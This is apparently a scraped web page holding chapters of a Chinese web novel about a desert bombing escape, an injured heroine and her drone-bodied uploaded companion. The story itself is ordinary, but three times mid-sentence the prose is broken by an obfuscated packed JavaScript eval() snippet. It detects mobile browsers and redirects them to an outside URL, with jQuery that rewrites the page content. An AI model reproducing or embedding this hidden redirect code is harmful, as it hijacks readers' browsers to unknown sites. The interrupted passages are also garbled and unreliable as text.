“她的话真的能信吗?”贾思年提高了音量。 “可是你看她!她一个住在垃圾场上的孩子,有什么理由为北边做事!”安娜声泪俱下。 “贾,莱拉刚才确实是这么说的……”金属球也飞到贾思年身边,小声说道。 贾思年看着莱拉涨得通红的脸,终于松开了手。 莱拉咳嗽得厉害,安娜见状,赶紧冲上来拍打她的后背。 “你,”贾思年指着莱拉,“你要是撒谎,我立刻宰了你。” “贾!没时间了!轰炸机还有五分钟就要追上来了!”伊芙大喊。 现在该怎么办?贾思年强迫自己冷静下来,她坐回前排的座椅上,死死地盯着地图,不远处只有一处废墟,躲进那里吗?那里有人吗?去那是不是仍然会被炸死?还是牵扯更多的人一起死?贾思年隔着防护手套,紧张地咬着拇指的指甲。 突然,她好像看见旅行车被炸成了碎片,她在火海里看到了安娜和莱拉了无生气的脸,她惊得猛猛甩了甩头,然后她又忽然看到自己葬身火海,安娜正哭喊地向她爬过来……伴随着剧烈的头痛,贾思年的大脑忽然开始发疯了一样地运转,她双手抱着头,痛苦地蜷缩在座椅上。 又是这种脆弱的感觉。 可现在哪有时间脆弱? “把驾驶权给我。”她勉强直起了身体,对伊芙说道。 贾思年把油门踩到底,方向盘打死又回正,单侧的履带啸叫着卷起沙浪,在地上留下沟壑,旅行车迅速向着旁边的废墟驶去。 “所有人戴好面罩!去门口的隔离区!”贾思年大喊。 安娜见状,慌忙给莱拉戴上了备用的面罩,然后转身帮贾思年把面罩扣到了头上,拉着莱拉跑到了隔离区。 “然后呢?然后怎么办?”她通过面罩里的通讯功能着急地问道。 “我让你们跳,你们就立刻跳下去。”贾思年回答。 “那你怎么办?”林奈的金属球也接入了语音。 “我有办法,你不用管,照顾好她们。” 车离废墟越来越近,雷达上的红点也离她们越来越近。 就是现在!贾思年降低了车速,打开了外车门,门外风声呼啸。 “跳!”贾思年大喊道。 语音里传来了一阵混乱的声音。 她们安全了。 贾思年急忙将车子朝着远离废墟的方向开去,“伊芙,剩下的就交给你了,朝着这个方向全速前进。” “你打算怎么办?”伊芙问道。 贾思年没有回答,用消防斧敲碎了侧面的窗子,旅行车里响起了刺耳的警报声,她死死盯着雷达图上的红点。 她好像看见炮弹正在坠落。 贾思年从砸碎的窗子跃了出去。 轰炸瞬间激起沙土飞扬,巨大的旅行车变成了移动的火海,贾思年被气浪顶出了老远,沿着沙丘向下滚落,她感觉自己的五脏六腑好像都换了地方。一块碎片飞了过来,割裂了她的防护服,嵌进了她的大腿里,她疼得几乎要昏过去。 终于,她停止了翻滚,面罩检测到了防护服破损,正在闪烁着淡红色的警告,贾思年在漫天飞沙中喘着粗气,腿上的疼痛终于盖过了头痛。 是了,在几十种推演中,这是唯一一条能让所有人活下来的路。 ……所以轰炸的目标是旅行车吗? 是能源箱! 抵抗军里有叛徒! 这是贾思年昏过去之前,脑子里想的最后一件事。 …… 金属球漂浮在空中,周围空气的质量很差,传感器显示它正处于化学污染环境中,建议尽快撤离。 撤离,往哪撤离?林奈着急地看着远处轰炸点燃的火海,又看看因为撞击昏倒在地的安娜和莱拉,他伸出长长的手臂,猛敲安娜的面罩,企图把她叫醒。 贾让他照顾好她们。 “安娜!快醒醒!” 安娜迷茫地睁开了眼睛。 “你醒了!贾没声音了,我要去找她!”说着,金属球向着沙尘和火海飞去。 林奈的金属球没配什么高端的传感器,因为按理来说他根本不需要,可是此时此刻,他恨贾思年没有给他安装生命探测仪,他甚至还想要一个随身的灭火器。 是的,他恨贾思年,恨她接什么委托从来不跟他商量,做什么决定也从来不让他参与。她本可以让他配合伊芙来开车的,她给他买了上载人的云端备份,就算金属球毁了,他也只会失掉这几天的记忆。可是贾思年的计划里从来不考虑他,她总是一个人就想着救所有人,他明明能帮她,可她偏偏从不向他求助。 他觉得自己就像她养在上载世界的一条狗,相处时的快乐是真的,可有可无也是真的。 可如果这般无所谓,为什么还要把他留在书房里?明明白天那么辛苦,为什么夜晚还要为他改装金属球?如果做事总是这么不要命,为什么还要在身边留下这么多回忆和羁绊? 林奈好像看见贾思年在得意地嬉皮笑脸。 金属球薄如蝉翼的翅膀艰难地对抗着沙尘,林奈的视野里伸手不见五指,他在语音里不断地叫着贾的名字。没有回应,没有任何回应,他觉得自己的心在滴血。 …… 万里无云的蓝天上,有海鸟飞过,留下悠扬的叫声,鼻腔里传来潮湿的咸味,贾思年意识到自己正躺在海边。她试图坐起来,却发现自己整个人都被沙子埋了起来,只露出了一个头来。 忽然,她感到一阵阴凉,她艰难地转过头去,看见一个撑着黑伞的中年女人。她的脸消瘦而苍白,漆黑的长发从头顶一直流到脚踝,铺在一身纯黑的衣裙上,她好像一缕墨迹。 贾思年觉得这人很奇怪,但是又说不上哪里有点熟悉,她挣扎着想从沙子里坐起来,但是埋在沙子里的身体却纹丝不动。 “天气不错哈。”贾思年只好尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537561|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑笑。 黑色的女人没有回答,她把伞插在了贾思年旁边的沙滩上,然后在她身边蹲了下来。 贾思年看到了她的眼睛,她的眼底好像蒙了一层雾,她呆滞地看着前方,好像魂魄已经抽离了躯壳。 “年年,你小的时候,我们一起来过这里。”那女人忽然开口说话,她声音枯槁,听起来像位耄耋之年的老人。 “你喜欢大海,那次我们玩得很开心,后来你经常要我带你去海边,可我那时候实在是太忙了。” “年年,你还记得吗?” 贾思年有点丈二和尚摸不着头脑,她在想对方是不是认错人了,虽然她叫贾思年,但是从来没有人叫过她“年年”,而且最重要的是,她压根不认识这个女人。 贾思年费力地转头,刚想开口,却看到女人空洞的眼睛和眼角的皱纹,她的眉宇淡淡地聚在一起,贾思年忽然觉得悲伤。 ……年年大概是她的孩子吧。 “我记得!”她笑嘻嘻地回答。 女人好像忽然愣住了,她跌坐在地上,魂魄好像重新进入了她的躯壳,她不可思议地看着贾思年。贾思年以为自己说错了话,慌忙解释道,“我看您太伤心……” 女人却忽然伏在贾思年身上痛哭了起来。 “年年!是妈妈不好,我不该留你一个人,我不是一个合格的母亲……” “诶?……不是不是,没有的事……您别这样,我不是……”贾思年庆幸自己的手脚被沙子埋了起来,不然她现在一定也不知道该把它们往哪儿搁。 女人抬起脸看着她,贾思年惊讶地发现那张脸变成了一个年轻女人,年轻女人的眼角还带着泪痕,却微笑地对她说,“阿谨,你还记得我吗?” 贾思年骤然瞪大了眼睛,她忽然想起这张脸为什么那么熟悉了,她怎么会忘记了呢?她怎么能忘记了呢? “……妈妈?是你吗?”贾思年迟疑地问道。 女人的眉间舒展了,微笑着对她点点头。 “发生了什么?你去哪了?”贾思年急切地问道。 贾思年忽然听到远方有人在呼喊她的名字。 “有人在找你,年年。”女人没有回答她的问题。 “你该回去了。” 身体周围的沙子突然开始向上翻涌,贾思年在沙滩上好像要陷入地底,她惊恐地想要挥动四肢逃离陷落,可身体好像根本不听使唤,依旧一动不动,她绝望地看着她身边的女人,她冲着贾思年微笑地挥了挥手。 “再见。”她的口型好像在说。 贾思年深陷黑暗,感到窒息,她拼命地挣扎,忽然看到眼前一片红色,她大口喘着粗气,发现自己正躺在沙子里,耳边是林奈在不断地喊她的名字,远处是旅行车被炸毁的火光。 腿上传来一阵剧痛,贾思年疼得呲牙咧嘴。 “别叫啦别叫啦,我在旅行车行驶方向的西边,这边有个斜坡,我大概是滚到下面来了。”她声音沙哑,觉得口干舌燥,她舔了舔嘴唇,却尝到血的味道,原来是鼻子在流血。 “贾!你还活着!”金属球的声音好像喜极而泣。 “我好像不小心睡着了。” “你还好吗?有没有受伤?” “好像是……有。” 不一会儿,贾思年就借着火光看到金属球正在向她飞来。 金属球的电子眉毛挤在了一起,伸出两条长长的手臂,费劲地把她从沙子里拖了出来。 林奈看着她腿上的伤口,眉毛几乎拧成了一个“x”,他回头看了一眼被炸掉一大半的旅行车,“你在这里等我。” 金属球朝着火海飞去。 “哎!小心二次爆炸。”贾思年在语音里说道。 “不要你管。”林奈回答。 “我好心提醒你,你凶我干嘛。” “不听你的,你闭嘴。” 金属球顶着高温警告,飞进了火海中。 33. 黄沙之下(八) 金属球在火海里飞行,高温警告叫得林奈心烦意乱,他灵巧地躲过突然窜出来的火舌,好像花丛里灵巧的工蜂,寻找着火海里有没有剩下什么还能用的东西。 他满脑子都是贾思年腿上的伤口。 旅行车上应该配备了短途旅行用的医疗箱,林奈记得大概在床下的柜子里,但整辆车已经被炸得面目全非,车头已经完全消失了,各种部件零散地躺在沙地上燃烧,只能在火海里勉强看到车尾的形状。 伊芙说过能源箱在左后侧,林奈紧张地朝着那个方向瞥了一眼,他没看出二次爆炸的迹象,立刻收回了目光,林奈急忙飞到残存的车尾,一头扎了下去,试图找到原本在这里的床和柜子。 他在烟雾里看到熊熊燃烧的地毯和烧焦了一大半的被子,他伸出手臂试图把被子拖到一边,露出了下面的床铺。 太好了!这里还没有被烧毁! 林奈高兴极了,可系统忽然发出过温警告,再不降温就会强制关机了。他急忙升高,加速弹射进不远处的沙堆里给外壳降温。 爆炸随时有可能发生,林奈焦急地看着燃烧的半辆旅行车,在语音里问道,“安娜,你刚刚听到贾说话了吗?她受伤了,需要你的帮助。” “我听见了,莱拉已经醒了,我们正在过去找她。”语音里传来安娜微微气喘的声音。 好在金属球升温快,降温也快,林奈看着外壳温度降了下来,又一次飞进了火海。 大火越烧越旺,林奈迅速找到了已经开始起火的床铺,打开床下的柜子,里面静静地放着完好无损的医疗箱,他抓好医疗箱,忽然旁边的架子被大火烧断,直直地砸了下来,金属球立刻拖着医疗箱闪躲。 火势越来越大,车子的内饰几乎全部燃烧了起来,发出劈里啪啦的响声。林奈又一次紧张地看向能源箱的方向,他急忙向上腾空,拉着医疗箱浮在空中,外壳的温度又一次到达了承受的极限,林奈急忙开始飞离。 突然,强烈的冲击伴随着巨响,高温终于达到了极限,能源箱爆炸了,金属球吊着急救箱,像一根失控了的体操棒飞出了火海,但又立刻被后面追上的火焰包围了。 警告的声音在林奈的脑袋里啸叫,可他脑子里依旧是贾思年腿上的伤。 完了,急救箱没有了,失去意识前,林奈满脑子都是懊悔和遗憾。 仅存的半辆旅行车终于也成了碎片,高涨的火焰撕裂了夜空和沙地,像一头不断扩张的怪兽张开了血盆大口,似乎要吞噬周围的一切。 贾思年躺在沙地里,被远处传来的震动和巨响吓得一激灵,她赶紧在语音里问道,“林奈?林奈你没事吧?” 但没有回应。 完蛋,贾思年撇了撇嘴,开始移动身体,她忍着剧痛爬了起来。受伤的右腿不敢吃力,她就只能沿着她滚下来的斜坡匍匐着往上爬。 好嘛,我就说不要去,好不容易添了点记忆,金属球毁了又什么都不记得了,真是不听老人言吃亏在眼前。贾思年一边费劲地往上爬,一边在心里叹气。 她觉得林奈自从来到地面上,比过去有精神多了。过去的林奈不管是在上载世界还是修理铺的工作室,永远都是缩个脖子跟在她身后,虽说金属球没有脖子吧……贾思年忽然有点遗憾自己没给他装一个脖子,那将成为他使用得最频繁的部件。 但是自从来到地面上,她发现林奈开始有了小脾气,他会在她们三人的友谊里吃醋,也有了自己的见解,他不再像个小孩一样只会哭鼻子,他也想要提供帮助。 他从贾思年的身后走了出来。 贾思年觉得也许失忆之前的林奈本就是这样的人,如果他又一次失去了这些,那他还会是他自己吗? 贾思年忽然又觉得自己真有先见之明,还好没给林奈的金属球装脖子。 眼下的问题是这个该死的斜坡,贾思年吭哧吭哧地前行。这里似乎是个背风坡,沙子十分松软,她每往上爬一步,就觉得自己在一边下陷一边倒退,伤口里的碎片在沙地上拖拽,疼得贾思年呲牙咧嘴。但她又只能一直往上爬,她严重怀疑,只要自己一停下,就会立刻沿着斜坡哧溜一下子滑下去。 XX的,这什么玩意儿啊,这也太累了!贾思年开始后悔,管管管,什么都要管,爬上去他也成麻团儿了,还不如老实在底下躺着算了。 好在是只要思想不滑坡,人也就不会滑坡,贾思年使出了吃奶的劲,可算是爬了上来,她气喘吁吁地抬头看着不远处的火海,虽然听到了巨响,但火势之大还是吓了她一跳,她费劲地撑起僵硬酸涨的手臂,抻着脖子寻找金属球的身影。 ……不会真的被炸没了吧? 贾思年忽然觉得丧气,她胳膊一酸,一个狗啃泥,一头栽在了沙地上。 好消息是戴着面罩不会真的啃到泥,坏消息是门牙隔着嘴唇敲在了面罩上,磕得她又是一阵生疼。 贾思年摸不到自己的嘴,只能捂着面罩在地上打滚。 可恶!刚才不是很会计算吗!怎么都没有算到门牙这一步! 刚才…… 贾思年抬起头,趴在沙地上,出神地望着不远处张牙舞爪的火光。 刚才究竟是发生了什么呢?为什么脑袋突然变成了发疯的机器,在短短的几分钟里看到了几十种不同的结局? “贾!你在哪里?”贾思年忽然在语音里又听到了安娜的声音。 “我爬上来了,就在旅行车的西边。”她有气无力地回答道。 很快,她看见了深一脚浅一脚地赶来的两人。 “你怎么样!”安娜着急地蹲下来检查。 “右腿受了点皮外伤,没事的。”贾思年回答。 安娜急忙把贾思年翻了个面,她看见深深的伤口和插进她大腿里的碎片,倒吸了一口凉气,“你管这叫没事???” “林奈先生呢?”安娜问道。 “他……可能被炸成麻团……或者烤成面包了吧……”贾思年伸出手想挠挠头,却又一次意识到自己戴着面罩,于是她尴尬地挠了挠面罩。 “你才被烤成面包!”语音里忽然响起了林奈的声音,贾思年睁大了眼睛,慌忙爬起来四处寻找金属球的身影。 沙地上,金属球耷拉着一个翅膀,靠着另一边的翅膀奋力扑腾,在沙子上艰难地拖行,而它的身后,正拖着一个表面已经烧黑了的箱子。 “你居然还活着!”贾思年高兴极了。 “你居然用居然!”林奈不高兴极了。 “林奈先生拿的是什么?”安娜和莱拉跑了过去,提起了箱子和金属球。 安娜打开焦黑的箱子,里面整齐地放着未损分毫的药品。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537562|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是急救箱!” “贾,你得忍着点了。”安娜皱着眉看着贾思年,拿出了急救箱里的生理盐水,开始冲洗她伤口周围的沙子。 贾思年咬紧了牙关。 安娜认真观察后,眉头拧得更紧了,“不行,贾,伤口太深了,我不能就这么把碎片拔出来,急救箱里只有一些常用的药品,没法处理这样的伤口。” “那现在怎么办?”林奈听起来很着急。 “我可以先给她止血,先把伤口保护起来,其他的……可能只能等待救援了。”安娜回答。 ……等待救援吗? 贾思年好像忽然想起了什么,她的心和眼睛一起暗了下来。 “安娜,救援不会来了。” “什么?”三人一齐疑惑地看着她。 “轰炸机是冲着能源箱去的,”贾思年吞了吞口水,“抵抗军里有奸细。” “……什么?!”三人惊得说不出话来,安娜跌坐在了地上,怔怔地看着贾思年。 千算万算,依然还是死棋吗? 贾思年仰面躺在沙地上,她看着黎明前漆黑如墨的天空,有些发愣。 忽然,她感觉到了腿上传来了一丝丝疼痛,她费力地支起上半身,发现安娜正在用纱布覆盖她伤口的周围。 “一定还有办法的。”安娜听起来好像在强忍着眼泪。 “你和伊芙小姐,是我认识的,最厉害的人了,伊芙小姐是个好人,她不会是奸细的。”安娜撇了撇嘴,但没有哭。 “你们一定能找到办法的。”安娜用医用胶布勉强封住了贾思年被割开的防护服。 贾思年面罩上的警告消失了,防护服里开始自动循环过滤,她勉强坐了起来。天空渐渐开始泛白,灰色的天空依旧看不见太阳,但能看出来今天是个好天气。 ……还有其他办法吗?贾思年摇摇头,她看着不远处几乎埋在沙子里的废墟,又看了看安娜皱在一起的脸。 安娜又在跟自己较劲。 贾思年笑了,她向着抱着金属球的莱拉伸出手去。 莱拉吓了一跳,慌忙向后闪躲,“真的不是我!” “我知道不是你,我向你道歉,我只是想看看金属球还能不能修。” “……哦,没关系的。”莱拉把怀里的金属球递给了她。 贾思年用剩下的医用胶带帮林奈固定了折断的翅膀,金属球现在又可以飞了,只是它的翅膀没办法折叠起来了。 “你们有人能连上网络吗?”贾思年摆弄着万幸没有损坏的手机问道。 “旅行车毁了,这里没有信号。”林奈回答。 “但是我之前下载过离线地图,上面标注最近的信号覆盖区是……”林奈顿了顿。 “是垃圾场。” ……垃圾场吗?贾思年有点迟疑。 “那也只能去那了,不管怎么说,我们得先离开这里,”她试图从沙地里站起来,“如果有人检查了昨天夜里轰炸机的航行记录,一定会觉得奇怪,它们也许还会过来。” 金属球伸出了长长的手臂,小爪子扒在了贾思年的面罩上,声音听起来很严厉,“你不许乱动,让她们两个扶你。” “好好好。”贾思年松了一口气坐在地上,轻微失血的脸又开始笑嘻嘻。 “都听你的。” 34. 黄沙之下(九) 一片荒芜的沙漠里,贾思年被安娜和莱拉一高一矮搀扶着,她比安娜高了半个头,只能趴在安娜的肩膀上,而莱拉的个头,充其量也只能给她当个拐杖。 每走一步路都是一阵刺痛,她知道安娜已经尽力控制伤口了,但是给她修补防护服的医用胶布还是渐渐泛出了血迹。 “贾,你还好吗?要不要休息一下?”林奈注意到了胶布上的颜色,在语音里问道。 “我没事,你们俩呢?累了就休息一下。” “……休息一下吧。”安娜的声音听起来十分费力。 “急救箱里应该有营养剂,安娜,你看看有多少,我们不能不吃东西。”贾思年坐在沙地上,看着安娜打开那个焦黑的小箱子。 “有的!我们三个人……应该可以撑三天。”安娜轻轻松了一口气。 “三天,足够了,以我的运气,饿死之前大概会先死于破伤风。”贾思年又开始嬉皮笑脸。 “你闭嘴!”语音里传来了安娜和林奈异口同声的声音。 “你不许说这种丧气话!”安娜掐着腰瞪着她。 “三天之前肯定能等到救援!”金属球也掐着腰瞪着她。 “嗨……你们俩怎么这么没有幽默感……”贾思年摆了摆手。 “我是认真的!”语音里又传来了他们的异口同声。 “好!我闭嘴!”贾思年捏着手指好像在拉拉链,在嘴巴前从左到右拉过去,终于是把嘴闭上了。 正午,太阳的辐射穿透灰色的云层,炙烤着沙地,热气在空中蒸腾,将四周的景象都扭曲,四人终于来到了垃圾场西边的沙丘,那个当初和伊芙约定好取能源箱的地方,她们停了下来。 “现在怎么办?”安娜缓缓地把贾思年放在了沙地上,她想到了之前垃圾场上的血案,不安地问道。 “既然已经有轰炸机过来了,北边现在是指望不上了,得让伊芙知道我们在这里,但是她那边的处境并不安全。”金属球低下了头似乎在思考。 “这倒是不用担心,她知道我们在这里。”贾思年微笑。 “伊芙小姐怎么知道……?”安娜不解。 “如果你和我在十三区走散了,互相联系不上,你打算去哪里找我?”贾思年问道。 “欸?……我不知道……我大概会回修理铺吧?”安娜似乎对这个问题感到莫名其妙。 “是呀安娜,这里就是修理铺。”贾思年歪着头看着她。 “但是如果有人看了昨晚轰炸机的行驶记录,北边也会知道这里,难道不是很危险吗?”金属球皱起了眉毛。 “他们只要看见旅行车毁了,这事就算结束了。车里没有尸体,对他们来说才是最好的结果。”贾思年的眼睛忽然冷了下来。 “反正大明星贾思年和她的朋友们已经在两天前就结束了地面旅行,甚至现在人可能已经在十三区了,现在有一辆被挟持的旅行车在反叛军的地界被炸毁了,谁会想知道原本坐在里面的人是谁呢?”贾思年顿了顿。 “如果贾思年是被挟持的,人们迟早会发现她根本没有回到十三区,到时候只要稍加调查,就知道大明星死在了索罗甘南部,这就是阿尔弗雷德政府发动进攻的绝好理由。” “如果她不是被挟持的……那她就是自愿的,这样的明星对于他们来说,还是死了好。” “是死了好,但也不能死在北方军手中。”林奈长长的手臂伸了出来,手爪抵在了下巴上。 “嗨呀林奈,进油锅里炸了一遍,你居然还变聪明了!”贾思年笑眯眯地看着他,心想这回也许应该给金属球装个下巴了。 “……你能不能别总摆出一副看傻子的眼神……”金属球扶额。 好,他现在需要一个脑门儿了。 “接下来就要看伊芙的了,看看她打算怎么避开那个奸细,派人来救我们了。”贾思年眯起眼睛,双手叠在脑后躺下,看着水汽带着有毒气体在天上凝结,形成了厚重的灰色云层。 贾思年要林奈关注新闻,看看有没有关于昨晚的轰炸的报导,结果也如她们所料,网络上丝毫没有一点跟此事相关的波澜,林奈百无聊赖地刷新着新闻空间,无意中看到了一个几天前发布却热度一直很高的采访,“第二位通关用户:玛娜·尼克斯”。 新闻空间里的女人穿着跟贾思年当初接受采访时一样的云端猎人套装,她看起来有50多岁,后背坐得笔直,稍显斑白的头发整齐地盘在脑后,正在面无表情地对主持人说着她在彩蛋副本里的见闻。 “我当时接了委托在工作,刚处理完一处异常,就忽然有消息提示是否要进入副本……我看到了一位故人的雕像,是我们刚加入团队时的老师,也许凯瑟琳创作这个故事是为了缅怀他。” 这位尼克斯女士过去是凯瑟琳的同事?这么一板一眼的人会在收工的时候进入那个彩蛋副本?林奈有点惊讶,他进入了那个新闻空间。 “副本中大部分的场景和设计都和贾小姐之前说的相同,但我也许经历了不同的故事,在副本里,我需要帮助一位有特殊能力的NPC女孩清除异党,成为那个国家的国王。” ……有特殊能力的NPC女孩?林奈感觉自己好像起了一身鸡皮疙瘩。 “而且还有一点,我与贾小姐的体验十分不同。”女人灰色的眼珠忽然转向了观众,冷漠阴鸷的眼神仿佛透过幻象,直直地盯着林奈。 “我虽然被灌输了一些有关魔法和精灵的设定,但我始终清楚地知道,我现在身处彩蛋副本中。” “我知道贾小姐最近在地面旅行,但我希望她看到这个采访可以主动联系我。” 采访结束了,新闻空间暗了下来,很快又重新开始循环播放,林奈看着那个女人的灰色眼睛有些发愣,他有点怀疑,试图回忆自己在彩蛋里的记忆究竟有没有被篡改,但却发现自己竟然已经不太记得那些片段了,那些记忆开始变得久远又模糊,好像是小时候刚记事时发生的事。 但是贾说她的记忆被篡改了,她没必要在这件事上对所有人撒谎,而这个尼克斯女士…… 林奈退出了新闻空间,开始搜索玛娜·尼克斯这个名字。 有关这个女人的信息很少,几乎都是云端猎人的工作记录和最近通关彩蛋副本的报导,林奈在大量无用的信息里翻找,忽然,他注意到了一条很老的个人空间信息,老到还在使用文字做关键词展示。 林奈进入了这个个人空间,里面只有一个静态的合影,这是比较老的技术了,现在大部分投影都可以做动态展示。林奈一眼扫过,空间里共有七个人,穿着还是二三十年前的样式,他隐约记得这样的夹克和裤子,他小时候似乎常能看到街上有人这样打扮。 合影里的人看起来都很年轻,不过二三十岁,他们似乎在一间办公室里,大家的脸上尽是朝气蓬勃的笑容。 林奈注意到了合影下面漂浮的署名,他看到了规整的手写体“玛娜·尼克斯”,他认真观察了眼前这个看起来神采奕奕的年轻女人,怎么也没法把她和新闻空间里那个古怪的老人联系起来。 照片下面几乎是所有人的手写体签名,只有其中一个女人的名字是缩写,林奈觉得她好像有点眼熟,但又想不起来在哪里见过这个人了。 除此之外,林奈觉得站在最中间的外国男人看起来也有点眼熟,特别是他温和的笑脸。林奈绞尽脑汁地想了半天,却怎么也想不起来了,他有点烦躁,尤其是因为此时脑袋里总是好死不死地浮现出贾思年看傻子的眼神。 不行,他觉得自己绝对在哪见过这两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537563|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,他一定要找出来他们到底是谁。 忽然,天气预警在林奈的脑袋里亮起了红灯,林奈读取了那条推送信息:本轮沙暴预计当地时间下午四点开始。 沙暴?林奈心里一惊,赶紧戳了戳贾思年。 “贾,三小时后预计有沙暴!” “啊?饶了我吧……” 本来无所事事躺在地上望天的贾思年听了,脸上立刻挂上了一副痛苦面具。 这可真是屋漏偏逢连夜雨,麻绳专挑细处断,贾思年的心凉了半截,忽然觉得自己的腿疼得要折了,她躺在沙地上一边哎呦哎呦地叫唤,一边抱着腿打滚,棕色的沙子粘在她的防护服上,看起来好像一大条豆面卷。 “这是怎么了?你不要乱动啊!”安娜不知道贾思年又是哪根筋搭错了,慌忙伸出手试图按住她。 “大概是……即将到来的沙暴引起的伤口疼痛。”金属球的手爪又拍在了脑门儿上。 “你现在倒是挺幽默!”贾思年停止了翻滚,幽怨地看着他。 “我们得尽快找个地方躲起来。”安娜严肃地制止了二人的插科打诨,转身跟莱拉解释起现在的情况。 “要么去垃圾场,可以躲在我家。”莱拉怯生生地提议。 “不行,”贾思年立刻否决,“我们太显眼了,再加上我们现在一箩筐的老弱病残,去垃圾场等于找死。” “那……我可以悄悄溜回家去,我家里有一张防风的塑料布。我们可以在背风坡挖个坑躲进去。” “嗯?”贾思年迅速坐起来转身看着莱拉,莱拉被盯得有些害怕。 “要是不行的话……再想别的办法……”莱拉后退了几步躲到了安娜身后。 “你说什么呢!就按你说的办!你去取塑料布,林奈来挖坑。”贾思年听起来好像折了的大腿又被接了回来。 “欸?……好。”莱拉错愕地点点头,迅速朝着垃圾场的方向窜去。 “可是为什么是我挖坑啊!”金属球的两个手爪痛苦地抓住了头。 “安娜是美丽的女士,我是美丽的伤员,快点干活吧林奈。”贾思年敲了敲金属球的头。 远方的天空逐渐黑了下来,层层叠叠的乌云压得人好像喘不过气,气温似乎降低了,再也看不到热气蒸腾带来景色的扭曲,安娜看了一眼愈发加深的灰色天空,不由得觉得不安。她在语音里听着贾思年和林奈正在激情讨论坑到底应该挖在哪里,转身看见贾思年瘸着一条腿,正坐在沙地上给金属球指点江山。 “林奈先生,我也来帮忙。”她在语音里说道。 …… 天空又一次变成了她们初到索罗甘时的红棕色,外面风声呼啸,三人并排躺在沙坑里,挤在简易的防风棚子下。 挖坑的工作给安娜累的半死,她躺在地上等着气息平复,她出神地盯着金属球清理它手爪里的沙子,张了张嘴问道,“我们躲在这里的话,伊芙小姐派来的救援还能找到我们吗?” “哈,她最好是真的派了救援。”贾思年把双手叠在了脑后。 “啊?你不是说她……”安娜瞪大了眼睛,猛地转头看向贾思年。 “我又怎么能百分百地确定她一定不是奸细呢?”贾思年反问。 “可是这没有道理啊,她有太多机会可以置我们于死地了。”金属球忽然转过身来说道。 “是啊,她有太多机会了,”贾思年眯起了眼睛,“现在不就是很好的机会吗?” “不过,如果是她的话,能做到这种程度倒也不值得意外。” “可如果是伊芙小姐,我们现在还躲在这里干什么?”安娜皱起了眉头。 “所以只能赌她不是,这跟赌我到底是先饿死还是先死于破伤风是一样的。”贾思年耸耸肩。 35. 黄沙之下(十) “那如果你输了怎么办,如果伊芙真的是奸细怎么办,你带着她们一起死在这吗?”林奈的问题听着危机,声音却出奇的冷静。 “你不会,所以食物耗尽之前你一定会让我求救,所以你才会脱口而出选了信号覆盖区。” “但你仍然希望伊芙不是奸细,所以才打算拉着大家在这里等救援,可是贾,你考虑过自己的伤吗?如果真的死于感染怎么办?”金属球的绿色眼睛定定地看着贾思年腿上渗出血的医用胶布。 “应该……不会……吧?”贾思年的眼神飘忽不定,又一次在想挠头的时候伸手挠了挠面罩,“地下社区的综合疫苗我一直都按时在打……” “如果你情况不好,我会立刻求救,这点我们没得商量。”林奈严肃地说道。 “不是林奈,你真的没吃错药吗?”贾思年忽然抓住金属球开始大力摇晃,“居然还真有你训我的这一天,这简直倒反天罡好吗?” “你是不是背着我偷偷买了什么上载人加强组件啊?我先说好,上个任务你的工钱我已经给你结清了,后续费用我不负责啊!” “你在说什么啊……”金属球在狭小的空间里奋力挣脱开了她的摇晃,“我没买什么加强服务。” “那你的脑瓜是怎么自己进化的啊?”贾思年又一把拉过金属球,敲了敲它的脑袋。 “……有吗?”金属球的翅膀忽然停止了扑腾,嗵的一声落在了贾思年身上,猛地来了一个胸口碎大石,砸得贾思年想吐。 “你不要突然对伤员使用头槌啊!!!”贾思年急忙把它从身上赶下去,夸张地揉着自己的胸口。 金属球没有作声,它稳定了身体,又出现了眉毛,似乎陷入了沉思。 林奈觉得好像是有哪里出现了细微的变化,如果说现在的感受和过去有哪里不同,大概就是记忆和经历似乎都经过了锐化,变得更清晰了,再就是……好像没那么想缩脖子了。 可是为什么会这样呢? 林奈忽然想到了一样东西。 “贾,我背包里有件东西,我一直都想给你看看,只不过自从我们从副本出来,你就再也没接入过上载世界。” “什么东西?”贾思年认真了起来。 “是一把短剑,我记得它,之前我被困在了上载世界雪山上的山洞里,就是这把剑忽然出现,救了我一命。” 山洞里的短剑吗? 贾思年回忆起了当时的场景,虽然有点恶心,但她当时还是认真检查了那个山洞,现场确实少了一把利器,一个能一刀削下一颗熊头的武器。至于为什么会觉得是短剑,大概是因为她当时注意到了林奈手上的茧子,再加上科斯塔联盟的贵族们喜欢送自己的孩子去学剑术,她才推测那大概是一个类似短剑的东西。 “可是这东西是怎么突然出现在你的背包里的呢?”贾思年问道。 “它不是突然出现的,”金属球抬起了头,“它是凯瑟琳送给我的礼物。” “我们离开副本后,凯瑟琳给了我一封信,她说我丢了很多东西,她给了我最重要的一件。” 